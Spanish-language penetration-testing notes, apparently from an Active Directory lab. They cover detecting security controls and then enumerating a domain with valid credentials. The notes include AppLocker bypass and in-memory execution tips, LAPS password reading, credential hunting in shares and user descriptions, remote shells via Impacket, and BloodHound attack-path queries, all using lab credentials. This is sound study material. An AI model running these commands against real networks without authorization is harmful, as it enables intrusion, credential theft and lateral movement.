Skip to content

Enumerating Security Controls & Credentialed Enumeration

Herramientas


Enumeración de controles de seguridad

Antes de ejecutar herramientas ofensivas en un host, conviene identificar qué controles de seguridad están activos — determina si hace falta ofuscación/evasión (ver command_injection_filter_evasion.md para técnicas generales aplicables) antes de que las siguientes fases generen alertas o directamente sean bloqueadas.

Windows Defender

powershell
Get-MpComputerStatus

Revisar específicamente:

  • RealTimeProtectionEnabled : si es True, el escaneo en tiempo real está activo — cualquier binario/script escrito a disco será inspeccionado inmediatamente.
  • AMServiceEnabled : si el servicio de Defender está corriendo en absoluto.
  • IsTamperProtected : si True, impide deshabilitar Defender vía PowerShell/registro incluso con privilegios administrativos locales — solo se puede desactivar desde la interfaz gráfica con confirmación manual, o vía política de grupo desde el dominio.

Si todos estos están en True, hay que evitar tocar disco (ejecución en memoria, IEX con contenido descargado) y anticipar que AMSI inspeccionará el contenido de scripts PowerShell/VBA antes de ejecutarlos, independientemente de si tocan disco o no.

AppLocker

powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Si la política bloquea powershell.exe en su ruta estándar, probar rutas alternativas del mismo binario que a veces quedan fuera de las reglas (por ejemplo, si la regla apunta específicamente a C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe):

powershell
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  • Revisar también si existen binarios LOLBAS (Living Off the Land Binaries) no cubiertos por la política, que pueden usarse para lograr ejecución de código equivalente sin invocar PowerShell directamente — ver https://lolbas-project.github.io/ para el catálogo completo.

PowerShell Constrained Language Mode

powershell
$ExecutionContext.SessionState.LanguageMode
  • FullLanguage : sin restricciones.
  • ConstrainedLanguage : bloquea acceso a APIs .NET arbitrarias, Add-Type, invocación de métodos COM, y varias funciones avanzadas — la mayoría de frameworks ofensivos de PowerShell (PowerView, Inveigh) dependen de estas capacidades y fallarán parcial o totalmente.
  • Cuando Constrained Language está activo, priorizar herramientas escritas en C#/binarios compilados (SharpView, SharpHound, Rubeus) en vez de sus equivalentes en PowerShell, ya que no dependen del motor de scripting restringido.

LAPS (Local Administrator Password Solution)

LAPS rota automáticamente la contraseña del administrador local de cada equipo del dominio, almacenándola cifrada/protegida en un atributo LDAP del objeto de la computadora — el objetivo ofensivo es identificar qué cuentas/grupos tienen permiso de lectura sobre ese atributo.

powershell
# Ver OUs con LAPS habilitado y qué grupos tienen delegación de lectura
Find-LAPSDelegatedGroups

# Ver qué principals tienen "Extended Rights" (permiso de leer las contraseñas LAPS)
Find-AdmPwdExtendedRights

# Leer las contraseñas LAPS accesibles con las credenciales actuales
Get-LAPSComputers
  • Si el usuario/grupo actual tiene permiso de lectura sobre el atributo LAPS de algún equipo (a menudo por una delegación mal configurada o excesivamente amplia), Get-LAPSComputers devuelve la contraseña de administrador local en texto plano de ese equipo — un salto directo a acceso administrativo local sin necesidad de crackear ni explotar nada.

Enumeración con credenciales — desde Linux

CrackMapExec / NetExec

c
# Usuarios del dominio
❯ sudo crackmapexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' --users

# Grupos del dominio
❯ sudo crackmapexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' --groups

# Usuarios con sesión activa en un host específico (útil para identificar dónde está logueado un objetivo de alto valor, como un Domain Admin)
❯ sudo crackmapexec smb 172.16.5.130 -u jsmith -p 'Klmcargo2!' --loggedon-users

# Shares disponibles y permisos
❯ sudo crackmapexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' --shares

# Spider de shares — indexa recursivamente todos los archivos accesibles
❯ sudo crackmapexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' -M spider_plus --share 'Department Shares'

# Ver el resultado del spider
❯ head -n 10 /tmp/cme_spider_plus/172.16.5.5.json
  • spider_plus genera un inventario JSON completo de nombres de archivo (y opcionalmente contenido/hashes) en el share indicado — mucho más rápido que navegar manualmente cuando el share tiene cientos/miles de archivos, e ideal como entrada para buscar patrones de nombres interesantes (password, backup, config) antes de descargar nada.

Con proxychains, cuando se opera a través de un pivote/túnel establecido previamente:

c
❯ proxychains netexec ldap 172.16.5.5 -u jsmith -p 'Klmcargo2!' --groups 2>/dev/null
❯ proxychains netexec smb 172.16.5.5 -u jsmith -p 'Klmcargo2!' -M spider_plus --share 'Department Shares'

smbmap

c
❯ smbmap -u jsmith -p 'Klmcargo2!' -d EMPRESACORP.LOCAL -H 172.16.5.5

Listar directorios recursivamente (solo estructura de carpetas, sin listar archivos individuales — útil para un primer mapeo rápido de shares muy grandes):

c
❯ smbmap -u jsmith -p 'Klmcargo2!' -d EMPRESACORP.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only
c
# Flag en minúscula en versiones más recientes de smbmap
❯ smbmap -u jsmith -p 'Klmcargo2!' -d EMPRESACORP.LOCAL -H 172.16.5.5 -r 'Department Shares' --dir-only

rpcclient con credenciales

c
❯ rpcclient -U "jsmith%Klmcargo2!" 172.16.5.5
rpcclient $> enumdomusers
rpcclient $> queryuser 0x457
rpcclient $> enumdomgroups
rpcclient $> querygroup 0x201
  • Con credenciales válidas (a diferencia de la sesión nula vista en ad_password_spraying.md), rpcclient suele devolver información considerablemente más completa, ya que muchas configuraciones restringen qué puede consultar una sesión anónima.

Impacket — ejecución remota

c
# Shell interactiva vía SMB (similar en concepto a PsExec de Sysinternals)
❯ psexec.py empresacorp.local/jsmith:'Klmcargo2!'@172.16.5.125

# Ejecución remota vía WMI (más silencioso que psexec, no crea ni deja un servicio en el objetivo)
❯ wmiexec.py empresacorp.local/jsmith:'Klmcargo2!'@172.16.5.5
  • Ver Windows-Remote-Management-Protocols.md para el detalle completo de estas y otras herramientas de ejecución remota (WinRM, RDP).

windapsearch

c
# Miembros de Domain Admins
❯ python3 windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Klmcargo2!' --da

# Usuarios privilegiados (todos los grupos con permisos administrativos)
❯ python3 windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Klmcargo2!' -PU

# Todos los usuarios del dominio
❯ python3 windapsearch.py --dc-ip 172.16.5.5 -u jsmith@empresacorp.local -p 'Klmcargo2!' -U

BloodHound.py

c
# Recolección completa con nameserver explícito
❯ bloodhound-python -u 'jsmith' -p 'Klmcargo2!' -ns 172.16.5.5 -d empresacorp.local -c all

# Ver todas las opciones disponibles
❯ bloodhound-python -h

# Alternativa especificando el DC directamente por nombre (en vez de -ns)
❯ bloodhound-python -d EMPRESACORP.LOCAL -dc DC01 -c All -u jsmith -p 'Klmcargo2!'

# Comprimir los JSON generados para subir a la interfaz de BloodHound
❯ zip -r empresacorp_bh.zip *.json

# Iniciar la base de datos Neo4j que usa BloodHound
❯ sudo neo4j start

Enumeración con credenciales — desde Windows

Módulo ActiveDirectory (cmdlets nativos)

powershell
Import-Module ActiveDirectory
Get-Module

Get-ADDomain

# Usuarios con SPN asignado (candidatos a Kerberoasting)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Get-ADTrust -Filter *

Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "Backup Operators"
Get-ADGroupMember -Identity "Backup Operators"

PowerView — enumeración completa

powershell
Import-Module .\PowerView.ps1

# Info del dominio y controladores de dominio
Get-Domain
Get-DomainController | select Name, IPAddress
Get-DomainPolicy

Propiedades clave de un usuario específico — ideal para investigar un objetivo puntual identificado previamente (por ejemplo, un miembro de un grupo privilegiado):

powershell
Get-DomainUser -Identity mgarcia -Domain empresacorp.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol
  • admincount : si vale 1, indica que la cuenta es (o fue alguna vez) miembro de un grupo protegido por AdminSDHolder (Domain Admins, Enterprise Admins, etc.) — útil para identificar cuentas de alto privilegio incluso si ya no pertenecen visiblemente a esos grupos.
  • description : campo de texto libre donde administradores a veces dejan notas con contraseñas temporales o pistas — ver la siguiente consulta.

Buscar contraseñas/pistas dejadas en el campo de descripción de todos los usuarios (un hallazgo sorprendentemente común en la práctica):

powershell
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

Usuarios con SPN (Kerberoastables):

powershell
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

Usuarios sin pre-autenticación Kerberos requerida (AS-REP Roastable — ver nota en ad_password_spraying.md sobre Kerbrute):

powershell
Get-DomainUser -PreauthNotRequired | select samaccountname

Membresía de grupo recursiva (incluye grupos anidados dentro de otros grupos — un usuario puede ser Domain Admin indirectamente sin estar listado directamente en ese grupo):

powershell
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

Mapeo de relaciones de confianza (trusts) entre dominios/bosques:

powershell
Get-DomainTrustMapping

Verificar si el usuario actual tiene privilegios de administrador local en un host específico:

powershell
Test-AdminAccess -ComputerName WS01

Buscar shares accesibles en todo el dominio, y dentro de ellos, archivos de interés por extensión:

powershell
Find-DomainShare
Find-InterestingDomainShareFile -Include *.ps1,*.bat,*.txt,*.xml,*.config

Buscar en qué máquinas del dominio el usuario actual tiene privilegios de administrador local (sin necesidad de probarlo host por host manualmente):

powershell
Find-LocalAdminAccess

Buscar dónde tienen sesión activa los miembros de un grupo específico — clave para planear movimiento lateral hacia un objetivo de alto valor:

powershell
Find-DomainUserLocation -UserGroupIdentity "Help Desk Level 1"

Listar las GPOs (Group Policy Objects) del dominio:

powershell
Get-DomainGPO | select displayname

SharpView (versión .NET de PowerView)

Útil cuando Constrained Language Mode bloquea PowerView (ver sección de controles de seguridad más arriba):

c
❯ .\SharpView.exe Get-DomainUser -Help
❯ .\SharpView.exe Get-DomainUser -Identity jsmith

SharpHound — recolección de datos para BloodHound

c
❯ .\SharpHound.exe --help
❯ .\SharpHound.exe -c All --zipfilename EMPRESACORP

Vía el módulo PowerShell equivalente:

powershell
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\jsmith.EMPRESACORP\Desktop\ -OutputPrefix "empresacorp"
  • -c All (o -CollectionMethod All) recolecta todas las categorías: sesiones activas, ACLs, membresías de grupo, relaciones de confianza, y objetos GPO — el conjunto de datos más completo posible para el análisis de rutas de ataque en BloodHound.
  • Métodos de recolección más silenciosos y específicos existen (Session, LoggedOn, ACL, Group) cuando se busca minimizar el ruido generado en logs de eventos, a costa de un grafo menos completo.

Snaffler — búsqueda de credenciales en shares

c
❯ .\Snaffler.exe -s -d empresacorp.local -o snaffler.log -v data
❯ .\Snaffler.exe -d EMPRESACORP.LOCAL -s -v data
  • -s : muestra el output directamente en consola (además de guardarlo).
  • -d : dominio objetivo.
  • -o : archivo donde guardar el log.
  • -v data : nivel de verbosidad enfocado en archivos de "interés" (credenciales, configuraciones, backups) — Snaffler clasifica automáticamente los hallazgos por nivel de riesgo/interés (rojo/negro para los más críticos), facilitando priorizar qué revisar primero entre potencialmente miles de archivos.

BloodHound — Queries Cypher útiles

Más allá de las queries pre-construidas del panel de Analysis, escribir consultas Cypher personalizadas permite responder preguntas muy específicas sobre el grafo de relaciones del dominio.

Usuarios con acceso WinRM (relación CanPSRemote) alcanzable a través de membresía de grupo:

cypher
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

Usuarios con privilegios de administrador SQL sobre alguna instancia (relevante en combinación con mssql.md — impersonation/xp_cmdshell sobre esa instancia):

cypher
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

Encontrar el camino más corto desde cualquier usuario hacia Domain Admins (la consulta más usada en la práctica, resume visualmente toda la cadena de ataque más corta disponible):

cypher
MATCH (n),(m:Group {name:'DOMAIN ADMINS@EMPRESACORP.LOCAL'}), p=shortestPath((n)-[*1..]->(m)) RETURN p

Identificar usuarios con Kerberoasting viable directamente desde el grafo (en vez de la enumeración manual con PowerView vista arriba):

cypher
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames

Queries pre-construidas relevantes en el panel de Analysis

  • Find Workstations where Domain Users can RDP : superficie de movimiento lateral inmediata para cualquier cuenta de dominio comprometida, sin necesidad de privilegios especiales.
  • Find Servers where Domain Users can RDP : igual que la anterior, pero sobre servidores (generalmente de mayor valor que estaciones de trabajo).
  • Find Computers with Unsupported Operating Systems : sistemas sin soporte/parches (Windows 7, Server 2008) — candidatos directos para explotación de vulnerabilidades conocidas sin parchear.
  • Users with Foreign Domain Group Membership : relevante en entornos multi-dominio/bosque, revela posibles rutas de escalada entre dominios de confianza.
  • Map Domain Trusts : visualización completa de todas las relaciones de confianza del entorno — punto de partida para evaluar ataques de trust abuse entre dominios/bosques.

Notas de metodología

  • Correlacionar los hallazgos de esta fase con los de ad_password_spraying.md: cualquier credencial válida obtenida por spraying debe reutilizarse inmediatamente aquí para maximizar la cobertura de enumeración (BloodHound, PowerView, Snaffler) antes de intentar escalar privilegios por otra vía.
  • Priorizar la recolección de BloodHound tan pronto como se tenga la primera credencial de dominio válida, incluso de bajo privilegio — el grafo de relaciones suele revelar rutas de ataque no evidentes por enumeración manual (ACLs mal configuradas, delegaciones excesivas) que estructuran el resto del engagement.
  • Documentar los hallazgos de description con contraseñas expuestas y de LAPS con permisos de lectura excesivos como hallazgos de alto impacto independientes, incluso si no se llega a usar esa información para escalar más allá — reflejan fallos de proceso (higiene de datos, gestión de delegaciones) que la organización debe corregir independientemente del resto de la cadena de ataque.